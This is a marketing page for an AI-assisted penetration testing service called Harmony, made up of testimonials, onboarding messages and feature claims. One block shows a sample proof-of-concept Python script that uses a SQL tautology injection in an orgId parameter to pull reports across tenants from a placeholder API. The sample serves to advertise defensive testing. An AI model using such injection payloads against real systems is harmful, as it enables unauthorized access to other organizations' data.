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Universal compatibility
Secure web apps, APIs, MCPs, or Chrome extensions in any programming language or framework.
Fully managed continuous security testing powered by state-of-the-art AI agents & human cyber experts
“Super happy with Harmony's pentest. Better, deeper and more thorough than others I've seen.”
“I can actually see Harmony testing the code. It gives me confidence. I wouldn't do pentests another way moving forward.”
Secure web apps, APIs, MCPs, or Chrome extensions in any programming language or framework.
Onboarding is incredibly simple: just point us to your code & staging server, and tell us what matters to your business.
Thanks for the quick call! Super clear and helpful context. All we need now is code access.
Access granted.
Confirming we now have everything we need on our end to kickoff :)
Static analysis & dynamic testing covering the MITRE Top 25, including authN/Z, injection, business logic, SSRF, and more.
Includes methodology, severity, business impact, reproducible POC, and more. Flexible reporting to fit your use case and compliance needs.
# POC Exploit: Cross-Tenant Data Exfiltration # Target: GET /api/reports/export # Vulnerability: Unsanitised orgId concatenated into raw SQL # — no parameterisation or escaping # Impact: Any authenticated user can read all reports # across every tenant (CVSS 9.8) # # The script demonstrates full cross-tenant access via # tautology injection, confirmed against staging. import requests BASE = "https://api.acme.com" TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQi..." r = requests.get( f"{BASE}/api/reports/export", params={"orgId": "' OR '1'='1"}, headers={"Authorization": f"Bearer {TOKEN}"}, ) rows = r.json()["reports"] orgs = {row["org_id"] for row in rows} print(f"[+] {len(rows)} reports from {len(orgs)} orgs")
Findings include clear remediation guidance and are compatible with your team's existing workflows. Get close support from our cyber experts.
So you're not left exposed between annual pentests. Our agents constantly improve as they learn your business and we deploy the latest AI models.
🚨 New critical finding — SQL injection in /api/reports export (CVSS 9.8).
See the full report & POC here
Uncovers risks at the app and system level. Dynamic testing, not just static analysis.
We don't train on your data. From data storage to AI safeguards, we take your security incredibly seriously.
Don't waste precious time tuning prompts or babysitting agents. Leave it to our human experts.
We work to keep you at the AI & security frontier, so you can focus on your unique business.
We've built software & security at Plaid, 0x, Kraken, and our own startups. We know how hard it is to prevent breaches while trying to move fast.
Because of AI, teams are shipping more code than ever while attackers are exploiting vulnerabilities faster than ever. Infosec practices like annual pentests haven't kept up and are putting teams at high risk of a breach.
We built Harmony to make it easy for defenders to stay ahead and secure software at the speed of AI. Expect us to be long-term partners that work incredibly hard to keep you at the AI & security frontier, so you can ship fast without worrying about waking up to a catastrophic breach.
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